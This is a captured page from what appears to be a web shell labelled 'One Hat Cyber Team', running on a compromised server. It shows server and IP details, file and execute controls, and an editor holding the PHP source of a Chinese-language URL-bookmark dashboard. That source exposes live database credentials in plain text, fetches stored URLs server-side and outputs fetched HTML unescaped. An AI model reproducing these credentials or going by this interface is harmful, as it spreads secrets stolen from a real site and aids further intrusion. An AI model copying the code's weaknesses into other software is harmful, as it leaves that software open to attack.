One Hat Cyber Team
Your IP :
3.145.167.178
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ef.electronharmony.com
/
1
/
T3
/
Edit File:
index.php
<html lang="zxx" data-bs-theme="light"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0 user-scalable=no"> <!--! The above 6 meta tags *must* come first in the head; any other head content must come *after* these tags !--> <!--! BEGIN: Google Fonts !--><link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin=""> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin=""> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&family=Public+Sans:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet"> <!--! END: Google Fonts !--> <!--! BEGIN: Favicon !--> <link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.ico"> <!--! END: Favicon !--> <!--! BEGIN: Apps Title !--> <title>URL HOME</title> <!--! END: Apps Title !--> <!--! BEGIN: Page Vendors -!--> <!--! END: Page Vendors -!--> <!--! BEGIN: MatisMenu CSS -!--> <link rel="stylesheet" href="assets/vendors/metismenu/metisMenu.min.css"> <!--! END: MatisMenu CSS -!--> <!--! BEGIN: Flaticon CSS -!--> <link rel="stylesheet" href="assets/vendors/@flaticon/flaticon-uicons/css/all/all.css"> <!--! END: Flaticon CSS -!--> <!--! BEGIN: Theme CSS -!--> <link rel="stylesheet" type="text/css" href="assets/css/theme.min.css"> <!--! END: Theme CSS -!--> <!--! Start:: Color Modes JS -!--> <script src="assets/js/color-modes.min.js"></script> <!--! End:: Color Modes JS -!--> <!--! HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries !--> <!--! WARNING: Respond.js doesn"t work if you view the page via file: !--> <!--[if lt IE 9]> <script src="https:oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https:oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body class="" style=""> <!--! ================================================================ !--> <!--! Start:: Main Wrapper !--> <!--! ================================================================ !--> <div class="main-wrapper"> <!--! ================================================================ !--> <!--! Start:: Main Menu !--> <!--! ================================================================ !--> <aside class="edash-menu position-fixed z-1030 start-0 top-0 end-0 bottom-0 bg-body-tertiary border-end" id="edash-menu"> <!-- Start:: Logo --> <div class="edash-menu-header ht-80 d-flex align-items-center px-5 py-4 position-relative"> <a href="index.php" class="edash-logo"> <img src="assets/images/logo/logo_main.png" alt="logo" class="img-fluid edash-logo-main"> <img src="assets/images/logo-abbr.png" alt="logo" class="img-fluid edash-logo-abbr"> </a> </div> <!-- End:: Logo --> <!-- Start:: Sidebar Nav --> <nav class="edash-sidebar-nav position-relative z-2 ps" id="edash-sidebar-nav" style="height: calc(100vh - 5rem)"> <ul class="edash-metismenu metismenu" id="edash-metismenu"> <li class="nav-label mb-2 mt-4 px-5 fs-11 fw-semibold text-muted text-uppercase" style="letter-spacing: 1px"> My tables </li> <li> <a href="index.php" aria-expanded="false"> <i class="fi fi-rr-file-home"></i> <span class="mm-text">首页</span> </a> </li> <li> <a href="works.php" aria-expanded="false"> <i class="fi fi-rr-file-home"></i> <span class="mm-text">排班表</span> </a> </li> <li> <a href="pot.php" aria-expanded="false"> <i class="fi fi-rr-file-home"></i> <span class="mm-text">POT</span> </a> </li> <li> <a href="jobresponsibilities.php" aria-expanded="false"> <i class="fi fi-rr-file-home"></i> <span class="mm-text">DWD</span> </a> </li> <li> <a href="clipboard.php" aria-expanded="false"> <i class="fi fi-rr-file-home"></i> <span class="mm-text">叫货</span> </a> </li> <!-- <li> <a href="pot.php" aria-expanded="false"> <i class="fi fi-rr-file-invoice"></i> <span class="mm-text">Simmer pot</span> </a> </li>--> <!-- Additional menu items here --> </ul> <div class="card text-center mx-3 mt-6 mb-4 bg-primary-subtle"> <div class="card-body vstack gap-4"> <i class="fi fi-rr-rocket-lunch fs-1 text-primary" style="transform: rotate(320deg)"></i> <div> <h5 class="mb-2 text-primary">Help Center</h5> <p class="fs-13 fw-light mb-0 text-primary"> Expodash is a production ready multi dashboard to get started up and running easily. </p> </div> <a href="" class="btn btn-primary text-white w-100">Get Support</a> </div> </div> <div class="ps__rail-x" style="left: 0px; bottom: 0px;"><div class="ps__thumb-x" tabindex="0" style="left: 0px; width: 0px;"></div></div><div class="ps__rail-y" style="top: 0px; right: 0px;"><div class="ps__thumb-y" tabindex="0" style="top: 0px; height: 0px;"></div></div></nav> <!-- End:: Sidebar Nav --> </aside> <!--! ================================================================ !--> <!--! End:: Main Menu !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Main Content !--> <!--! ================================================================ !--> <main id="edash-main"> <!--! ================================================================ !--> <!--! Start:: Header !--> <!--! ================================================================ !--> <header class="edash-header sticky-top d-flex align-items-end ht-80" id="edash-header-sticky"> <div class="edash-header-container container-xxl w-100 ht-70 px-4 bg-body-tertiary border rounded-3 d-flex align-items-center justify-content-between position-relative" id="edash-header-container"> <!--! Start:: edash-header-left !--> <div class="edash-header-left d-flex align-items-center gap-2"> <!--! Start:: edash-minimenu-toggle !--> <div class="edash-minimenu-toggle d-none d-xl-flex"> <div id="edash-menu-mini"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill ht-40"> <i class="fi fi-sr-arrow-left"></i> </a> </div> <div id="edash-menu-expand" style="display: none"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill ht-40"> <i class="fi fi-rr-arrow-right"></i> </a> </div> </div> <!--! End:: edash-minimenu-toggle !--> <!--! Start:: edash-menu-toggle !--> <div class="edash-menu-toggle d-xl-none"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill ht-40" id="edash-menu-show"> <i class="fi fi-sr-arrow-left"></i> </a> </div> <!--! End:: edash-menu-toggle !--> <!--! Start:: edash-search-wrapper !--> <div class="edash-search-wrapper"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40 ms-1" id="edash-search-show"> <i class="fi fi-rr-search"></i> </a> <form method="GET" action="" class="edash-search position-absolute start-0 top-0 end-0 bottom-0 w-100 z-1090"> <div class="input-group ps-3 ps-md-4 pe-md-2 bg-body-tertiary rounded-3" style="height: calc(5rem - 0.75rem)"> <span class="input-group-text border-0"> <i class="fi fi-rr-search"></i> </span> <input type="text" name="search" class="form-control border-0 fw-medium text-muted" placeholder="Search...."> <span class="input-group-text border-0" id="edash-search-hide"> <button type="button" class="btn-close"></button> </span> </div> </form> </div> <!--! End:: edash-search-wrapper !--> </div> <!--! End:: edash-header-left !--> <!--! Start:: edash-header-right !--> <div class="edash-header-right d-flex align-items-center gap-1 gap-sm-2"> <!--! Start:: edash-language !--> <!--! End:: edash-language !--> <!--! Start:: theme-switcher !--> <div class="dropdown"> <svg xmlns="http://www.w3.org/2000/svg" class="d-none"> <symbol id="sun-fill" viewBox="0 0 24 24"> <path d="M12,17c-2.76,0-5-2.24-5-5s2.24-5,5-5,5,2.24,5,5-2.24,5-5,5Zm0-8c-1.65,0-3,1.35-3,3s1.35,3,3,3,3-1.35,3-3-1.35-3-3-3Zm1-5V1c0-.55-.45-1-1-1s-1,.45-1,1v3c0,.55,.45,1,1,1s1-.45,1-1Zm0,19v-3c0-.55-.45-1-1-1s-1,.45-1,1v3c0,.55,.45,1,1,1s1-.45,1-1ZM5,12c0-.55-.45-1-1-1H1c-.55,0-1,.45-1,1s.45,1,1,1h3c.55,0,1-.45,1-1Zm19,0c0-.55-.45-1-1-1h-3c-.55,0-1,.45-1,1s.45,1,1,1h3c.55,0,1-.45,1-1ZM6.71,6.71c.39-.39,.39-1.02,0-1.41l-2-2c-.39-.39-1.02-.39-1.41,0s-.39,1.02,0,1.41l2,2c.2,.2,.45,.29,.71,.29s.51-.1,.71-.29Zm14,14c.39-.39,.39-1.02,0-1.41l-2-2c-.39-.39-1.02-.39-1.41,0s-.39,1.02,0,1.41l2,2c.2,.2,.45,.29,.71,.29s.51-.1,.71-.29Zm-16,0l2-2c.39-.39,.39-1.02,0-1.41s-1.02-.39-1.41,0l-2,2c-.39,.39-.39,1.02,0,1.41,.2,.2,.45,.29,.71,.29s.51-.1,.71-.29ZM18.71,6.71l2-2c.39-.39,.39-1.02,0-1.41s-1.02-.39-1.41,0l-2,2c-.39,.39-.39,1.02,0,1.41,.2,.2,.45,.29,.71,.29s.51-.1,.71-.29Z"></path> </symbol> <symbol id="moon-stars-fill" viewBox="0 0 24 24"> <path d="M15,24a12.021,12.021,0,0,1-8.914-3.966,11.9,11.9,0,0,1-3.02-9.309A12.122,12.122,0,0,1,13.085.152a13.061,13.061,0,0,1,5.031.205,2.5,2.5,0,0,1,1.108,4.226c-4.56,4.166-4.164,10.644.807,14.41a2.5,2.5,0,0,1-.7,4.32A13.894,13.894,0,0,1,15,24Zm.076-22a10.793,10.793,0,0,0-1.677.127,10.093,10.093,0,0,0-8.344,8.8A9.927,9.927,0,0,0,7.572,18.7,10.476,10.476,0,0,0,18.664,21.43a.5.5,0,0,0,.139-.857c-5.929-4.478-6.4-12.486-.948-17.449a.459.459,0,0,0,.128-.466.49.49,0,0,0-.356-.361A10.657,10.657,0,0,0,15.076,2Z"></path> </symbol> <symbol id="circle-half" viewBox="0 0 24 24"> <path d="M12,0C5.38,0,0,5.38,0,12s5.38,12,12,12,12-5.38,12-12S18.62,0,12,0Zm0,22V2c5.51,0,10,4.49,10,10s-4.49,10-10,10Z"></path> </symbol> </svg> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" id="bd-theme" aria-expanded="false" data-bs-toggle="dropdown" aria-label="Toggle theme (dark)" data-bs-auto-close="outside" data-bs-offset="0, 19"> <svg class="theme-icon-active wd-20 ht-20" fill="currentColor"> <use href="#sun-fill"></use> </svg> </a> <ul class="dropdown-menu dropdown-menu-end min-wd-200"> <li> <a href="javascript:void(0);" class="dropdown-item active" data-bs-theme-value="light" aria-pressed="true"> <svg class="theme-icon" fill="currentColor" width="16" height="16"> <use href="#sun-fill"></use> </svg> <span class="ms-3">Light</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item" data-bs-theme-value="dark" aria-pressed="false"> <svg class="theme-icon" fill="currentColor" width="16" height="16"> <use href="#moon-stars-fill"></use> </svg> <span class="ms-3">Dark</span> </a> </li> <li> <a href="javascript:void(0);" class="dropdown-item" data-bs-theme-value="auto" aria-pressed="false"> <svg class="theme-icon" fill="currentColor" width="16" height="16"> <use href="#circle-half"></use> </svg> <span class="ms-3">Auto</span> </a> </li> </ul> </div> <!--! End:: theme-switcher !--> <!--! Start:: edash-profile !--> <div class="dropdown"> <a href="javascript:void(0);" class="edash-drop-item d-flex align-items-center justify-content-center rounded-pill wd-40 ht-40" data-bs-toggle="dropdown" data-bs-auto-close="outside" data-bs-offset="0, 19"> <div class="avatar avatar-md rounded-circle"> <img src="assets/images/logo/logo.png" alt="Avatar" class="img-fluid rounded-circle"> <div class="avatar-indicator active"></div> </div> </a> <div class="dropdown-menu dropdown-menu-end dropdown-md p-0"> <div class="px-4 py-3 d-flex border-bottom"> <div class="avatar avatar-md flex-shrink-0"> <img src="assets/images/logo/logo.png" alt="Avatar" class="img-fluid rounded"> </div> <div class="flex-grow-1 ms-3"> <h6 class="text-dark mb-1">admin@kitchen.com</h6><span class="fs-13 text-muted">2024-11-01 22:01:47</span> </div> </div> <div class="px-2 py-3"> <a href="index.php" class="dropdown-item"> <i class="fi fi-rs-"></i> <span class="ms-3">首页</span> </a><a href="works.php" class="dropdown-item"> <i class="fi fi-rs-"></i> <span class="ms-3">排班表</span> </a><a href="pot.php" class="dropdown-item"> <i class="fi fi-rs-"></i> <span class="ms-3">POT</span> </a><a href="jobresponsibilities.php" class="dropdown-item"> <i class="fi fi-rs-"></i> <span class="ms-3">DWD</span> </a><div class="dropdown-divider"></div><div class="dropdown-divider"></div><a href="logout.php" class="dropdown-item text-danger" name="logout"> <i class="fi fi-rr-exit"></i> <span class="ms-3">Logout</span> </a> </div> </div> </div> <!--! End:: edash-profile !--> </div> <!--! End:: edash-header-right !--> </div> </header> <!--! ================================================================ !--> <!--! End:: Header !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Page Content !--> <!--! ================================================================ !--> <div class="edash-page-container container-xxl" id="edash-page-container"> <!--! Start:: Content Section !--> <div class="edash-content-section"> <!-- Start:: card --> <div class="edash-apps-main-card card position-relative" id="edash-apps-main-card"> <!-- Start:: row --> <div class="row g-0 overflow-hidden"> <!--! ================================ !--> <!--! Start:: edash-main-content !--> <!--! ================================ !--> <div class="edash-main-content col position-relative overflow-hidden"> <!-- Start:: edash-main-content-header --> <div class="edash-main-content-header ht-80 px-3 px-md-4 d-flex align-items-center justify-content-between gap-3"> <!-- Start:: edash-content-header-left --> <h4 class="mb-0">Technology</h4> <!-- End:: edash-content-header-left --> <!-- Start:: edash-content-header-right --> <a href="javascript:void(0);" class="btn btn-md btn-primary" id="addKanbanBoard"> <i class="fi fi-br-plus"></i> <span class="ms-2">添加产品</span> </a> <!-- End:: edash-content-header-right --> </div> <!-- End:: edash-main-content-header --> <hr class="my-0"> <!-- Start:: edash-main-content-body --> <!---------dT----------------> <div class="table-responsive edash-main-content-body edash-without-aside-footer p-0 position-relative ps--active-y"> <table class="table-gap-hover table table-hover overflow-hidden mb-0 px-4" style=" border-spacing: 0 0.75rem; border-collapse: separate; "> <thead> <tr> <th scope="col" class="border-top border-start">#</th> <th scope="col" class="border-top">URL</th> <th scope="col" class="border-top">Category</th> <th scope="col" class="text-end border-top border-end"> DATE </th> </tr> </thead> <tbody> <?php // 数据库连接信息 $servername = "localhost"; $username = "urlhome"; $password = "TxpG76mfGbEHAkxS"; $dbname = "urlhome"; // 创建数据库连接 $conn = new mysqli($servername, $username, $password, $dbname); // 检查连接 if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // 查询数据库中的 URL,包括 categorys 字段,按 ID 降序排列 $sql = "SELECT id, url, categorys FROM url_entries ORDER BY id DESC"; $result = $conn->query($sql); // 使用 cURL 获取网页内容的函数 function fetchWebContent($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $output = curl_exec($ch); if (curl_errno($ch)) { $output = false; } curl_close($ch); return $output; } // 获取网页元数据的函数 function getWebpageMetadata($url) { $html = fetchWebContent($url); if ($html === FALSE) { return [ 'title' => 'Unknown', 'logo' => '', // 设置为空,稍后生成首字母 'description' => 'No description available' ]; } $doc = new DOMDocument(); @$doc->loadHTML($html); $xpath = new DOMXPath($doc); $titleNodes = $xpath->query('//title'); $title = ($titleNodes->length > 0) ? $titleNodes->item(0)->nodeValue : 'Unknown'; $metaDescriptionNodes = $xpath->query('//meta[@name="description"]'); $description = ($metaDescriptionNodes->length > 0) ? $metaDescriptionNodes->item(0)->getAttribute('content') : 'No description available'; // 尝试获取 og:image 或 twitter:image $logoNodes = $xpath->query('//meta[@property="og:image"] | //meta[@name="twitter:image"]'); $logo = ''; if ($logoNodes->length > 0) { $logo = $logoNodes->item(0)->getAttribute('content'); } else { // 尝试获取 icon $iconNodes = $xpath->query('//link[@rel="icon"] | //link[@rel="shortcut icon"]'); if ($iconNodes->length > 0) { $logo = $iconNodes->item(0)->getAttribute('href'); // 处理相对路径 if (!filter_var($logo, FILTER_VALIDATE_URL)) { $parsedUrl = parse_url($url); $logo = $parsedUrl['scheme'] . '://' . $parsedUrl['host'] . '/' . ltrim($logo, '/'); } } } // 如果 logo 为空或默认值,则使用网站标题的首字母 if (empty($logo)) { $logo = '<div class="text-logo">' . htmlspecialchars(mb_substr($title, 0, 1)) . '</div>'; } return [ 'title' => $title, 'logo' => $logo, 'description' => $description ]; } // 获取网站的国家来源的函数 function getCountryFromUrl($url) { $domain = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($domain); // 使用 API 获取国家信息(例如 ip-api.com) $json = @file_get_contents("http://ip-api.com/json/{$ip}"); if ($json === FALSE) { return 'Unknown'; } $data = json_decode($json, true); if ($data && $data['status'] === 'success') { return $data['country']; // 返回国家名称,例如 "United States" } else { return 'Unknown'; } } // 遍历查询结果并输出表格 if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { $metadata = getWebpageMetadata($row['url']); $country = getCountryFromUrl($row['url']); // 获取国家来源 // 限制 title 和 description 的长度 $title = mb_strlen($metadata['title']) > 30 ? mb_substr($metadata['title'], 0, 30) . '...' : $metadata['title']; $description = mb_strlen($metadata['description']) > 40 ? mb_substr($metadata['description'], 0, 40) . '...' : $metadata['description']; echo ' <tr> <td class="border-top border-start"> <a href="javascript:void(0)">#' . $row['id'] . '</a> </td> <td class="border-top"> <a target="_blank" href="' . htmlspecialchars($row['url']) . '" class="d-flex gap-3 align-items-center"> <div class="avatar avatar-sm flex-grow-0"> ' . (strpos($metadata['logo'], '<div') === 0 ? $metadata['logo'] : '<img src="' . htmlspecialchars($metadata['logo']) . '" alt="Logo" class="img-fluid">') . ' </div> <div class="flex-shrink-0"> <div>' . htmlspecialchars($title) . '</div> <div class="fs-12 fw-normal text-muted"> ' . htmlspecialchars($description) . ' </div> </div> </a> </td> <td class="border-top"> <a href="javascript:void(0)" class="badge bg-info-subtle text-info">' . htmlspecialchars($row['categorys']) . '</a> </td> <td class="text-end border-top border-end"> <a href="javascript:void(0)" class="badge bg-danger-subtle text-danger">' . htmlspecialchars($country) . '</a> </td> </tr>'; } } else { echo "<tr><td colspan='5'>No URLs found in the database.</td></tr>"; } // 关闭数据库连接 $conn->close(); ?> </tbody> </table> <div class="card-footer"> <ul class="pagination mb-0"> <li class="page-item disabled"><a class="page-link" href="javascript:void(0);" aria-label="Previous"><span aria-hidden="true">←</span></a></li><li class="page-item active"><a class="page-link" href="javascript:void(0);">1</a></li><li class="page-item"><a class="page-link" href="?page=2&search=">2</a></li><li class="page-item"><a class="page-link" href="?page=3&search=">3</a></li><li class="page-item disabled"><a class="page-link" href="javascript:void(0);">...</a></li><li class="page-item"><a class="page-link" href="?page=18&search=">18</a></li><li class="page-item"><a class="page-link" href="?page=2&search=" aria-label="Next"><span aria-hidden="true">→</span></a></li> </ul> </div> </div> <!-----------------dT-----------------------------> <!-- End:: edash-main-content-body --> <!--! ================================ !--> <!-- Start:: eedash-aside-right --> <!--! ================================ !--> <div class="edash-aside-right edash-aside-wd-lg h-100 position-absolute top-0 end-0 bottom-0 bg-body-tertiary border-start rounded-end-3" id="edash-aside-right"> <!-- Start:: edash-aside-right-header --> <div class="edash-aside-right-header ht-80 px-3 px-md-4 d-flex align-items-center justify-content-between"> <div class="hstack gap-3"> <a href="javascript:void(0);" class="btn btn-icon btn-md btn-light" data-edash-trigger="edash-aside-right-close"> <i class="fi fi-rr-arrow-left"></i> </a> <div> <h5 class="edit-task-title modal-title" id="addTaskModalTitleLabel2"> 修改数据 </h5> </div> </div> <a href="javascript:void(0);" class="btn btn-icon btn-md btn-light"> <i class="fi fi-rr-star"></i> </a> </div> <!-- End:: edash-aside-right-header --> <hr class="my-0"> <!-- Start:: edash-aside-right-body --> <div class="edash-aside-right-body p-4 position-relative init-perfect-scroll-bar task-text-progress ps"> <form action="update.php" method="post"> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="hidden" id="id" name="id" class="form-control"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="text" id="aname" name="aname" class="form-control" value="aname"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="text" id="amountss" name="amountss" class="form-control" value="amountss"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="text" id="bname" name="bname" class="form-control" value="bname"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="text" id="cname" name="cname" class="form-control" value="cname"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="text" id="remark" name="remark" class="form-control" value="remark"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="task-title mb-4 d-flex"> <input type="submit" value="更新" class="btn btn-primary"> </div> </div> </div> </form> <div class="ps__rail-x" style="left: 0px; bottom: 0px;"><div class="ps__thumb-x" tabindex="0" style="left: 0px; width: 0px;"></div></div><div class="ps__rail-y" style="top: 0px; right: 0px;"><div class="ps__thumb-y" tabindex="0" style="top: 0px; height: 0px;"></div></div></div> <!-- End:: edash-aside-right-body --> <hr class="my-0"> <!-- Start:: edash-aside-right-footer --> <div class="edash-aside-right-footer ht-60 px-3 px-md-4 d-flex align-items-center justify-content-between gap-2 flex-wrap"> <button data-btn-action="addTask" class="btn btn-md btn-primary flex-fill add-tsk"> Add Task </button> <button data-btn-action="editTask" class="btn btn-md btn-success flex-fill edit-tsk" style="display: none"> Save </button> </div> <!-- End:: edash-aside-right-footer --> </div> <!--! ================================ !--> <!-- End:: eedash-aside-right --> <!--! ================================ !--> </div> <!--! ================================ !--> <!--! End:: edash-main-content !--> <!--! ================================ !--> </div> <!-- Start:: row --> <div class="edash-backdrop" id="edash-right-backdrop" data-edash-trigger="edash-aside-right-close"></div> </div> <!-- End:: card --> </div> <!--! End:: Content Section !--> </div> <!--! ================================================================ !--> <!--! End:: Page Content !--> <!--! ================================================================ !--> </main> <!--! ================================================================ !--> <!--! End:: Main Content !--> <!--! ================================================================ !--> <div class="edash-menu-backdrop" id="edash-menu-hide"></div> </div> <!--! ================================================================ !--> <!--! End:: Main Wrapper !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Add Board Modal !--> <!--! ================================================================ !--> <div class="modal fade" id="addBoardModal" aria-labelledby="addBoardModalTitle" style="display: none;" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-sm" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title add-list-title" id="addBoardModalTitleLabel1"> ADD+ </h5> <h5 class="modal-title edit-list-title" id="addBoardModalTitleLabel2" style="display: none;"> Edit Board </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="compose-content" id="addBoardModalTitle"> <form action="addurlhome.php" method="post"> <div class="col-12 mb-3"> <label for="urls" class="form-label">URL</label> <input type="text" name="urls" class="form-control" id="urls" placeholder="Enter the URL" required oninput="fetchPreview()"> </div> <!-------预览信息-----------> <div class="col-12 mb-3"> <div class="col-lg-4" id="preview-container" style="display: none;"> <label class="radio-card"> <span class="radio-card-wrapper d-flex gap-4 align-items-start"> <span class="wd-80 ht-80"> <img id="preview-logo" src="" alt="Logo" class="img-fluid"> </span> <span class="radio-card-content"> <span class="radio-card-title d-flex justify-content-between"> <span id="preview-title" class="radio-card-price fw-semibold text-dark mt-3">Title</span> </span> <span id="preview-description" class="radio-card-desc">Description</span> </span> </span> </label> </div> </div> <div class="col-12 mb-3"> <label for="categorys" class="form-label text-danger">Category</label> <select class="form-select" id="categorys" name="categorys" required> <option value="" disabled selected>Select a category</option> <option value="Technology/科技">Technology/科技</option> <option value="Internet/互联网">Internet/互联网</option> <option value="shop/购物">Shop/购物</option> </select> </div> <div class="d-grid mt-4"> <button type="submit" class="btn btn-primary w-100">Submit</button> </div> </form> </div> </div> </div> </div> </div> <!--! ================================================================ !--> <!--! End:: Add Board Modal !--> <!--! ================================================================ !--> <!--! ================================================================ !--> <!--! Start:: Delete Tasks Modal !--> <!--! ================================================================ !--> <div class="modal fade" id="deleteConformation" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-md max-wd-500"> <div class="modal-content"> <div class="modal-body text-center mx-auto p-5 py-12"> <div class="wd-80 ht-80 bg-danger-subtle text-danger rounded-circle d-flex align-items-center justify-content-center mx-auto mb-8"> <i class="fi fi-rr-trash fs-2"></i> </div> <h5 class="mb-3">Delete the task?</h5> <p class="text-muted mx-md-12"> If you delete the task it will be gone forever. Are you sure you want to proceed? </p> <div class="mt-8"> <a href="javascript:void(0);" class="btn btn-soft-danger wd-200" data-bs-dismiss="modal" data-remove="task">Delete</a> </div> </div> </div> </div> </div> <!--! ================================================================ !--> <!--! End:: Delete Tasks Modal !--> <!--! ================================================================ !--> <script> function fetchPreview() { const urlInput = document.getElementById('urls').value; const previewContainer = document.getElementById('preview-container'); const previewLogo = document.getElementById('preview-logo'); const previewTitle = document.getElementById('preview-title'); const previewDescription = document.getElementById('preview-description'); if (urlInput.trim() === '') { previewContainer.style.display = 'none'; return; } fetch('get_preview.php?url=' + encodeURIComponent(urlInput)) .then(response => response.json()) .then(data => { if (data.success) { previewLogo.src = data.logo || 'default-logo.png'; previewTitle.textContent = data.title || 'Unknown Title'; previewDescription.textContent = data.description || 'No description available'; previewContainer.style.display = 'block'; } else { previewContainer.style.display = 'none'; } }) .catch(() => { previewContainer.style.display = 'none'; }); } //下面代码是显示title和description前6个字 function fetchPreview() { const urlInput = document.getElementById('urls').value; const previewContainer = document.getElementById('preview-container'); const previewLogo = document.getElementById('preview-logo'); const previewTitle = document.getElementById('preview-title'); const previewDescription = document.getElementById('preview-description'); if (urlInput.trim() === '') { previewContainer.style.display = 'none'; return; } fetch('get_preview.php?url=' + encodeURIComponent(urlInput)) .then(response => response.json()) .then(data => { if (data.success) { const maxTitleLength = 6; const maxDescriptionLength = 6; // 截断标题和描述 const truncatedTitle = data.title.length > maxTitleLength ? data.title.substring(0, maxTitleLength) + '...' : data.title; const truncatedDescription = data.description.length > maxDescriptionLength ? data.description.substring(0, maxDescriptionLength) + '...' : data.description; previewLogo.src = data.logo || 'default-logo.png'; previewTitle.textContent = truncatedTitle || 'Unknown Title'; previewDescription.textContent = truncatedDescription || 'No description available'; previewContainer.style.display = 'block'; } else { previewContainer.style.display = 'none'; } }) .catch(() => { previewContainer.style.display = 'none'; }); } </script> <!--! ================================================================ !--> <!--! Footer Script !--> <!--! ================================================================ !--> <!--! BEGIN: Common Vendors !--> <script src="assets/js/vendors.min.js"></script> <!--! END: Common Vendors !--> <!--! BEGIN: Apps Common Init !--> <script src="assets/js/common-init.min.js"></script> <!--! END: Apps Common Init !--> <!--! BEGIN: Page Vendors -!--> <script src="assets/vendors/jquery-ui/jquery-ui.min.js"></script> <!--! END: Page Vendors -!--> <!-- BEGIN: Init JS --> <script src="assets/js/apps/kanban-init.min.js"></script> <!-- END: Init JS--> </body></html>
Simpan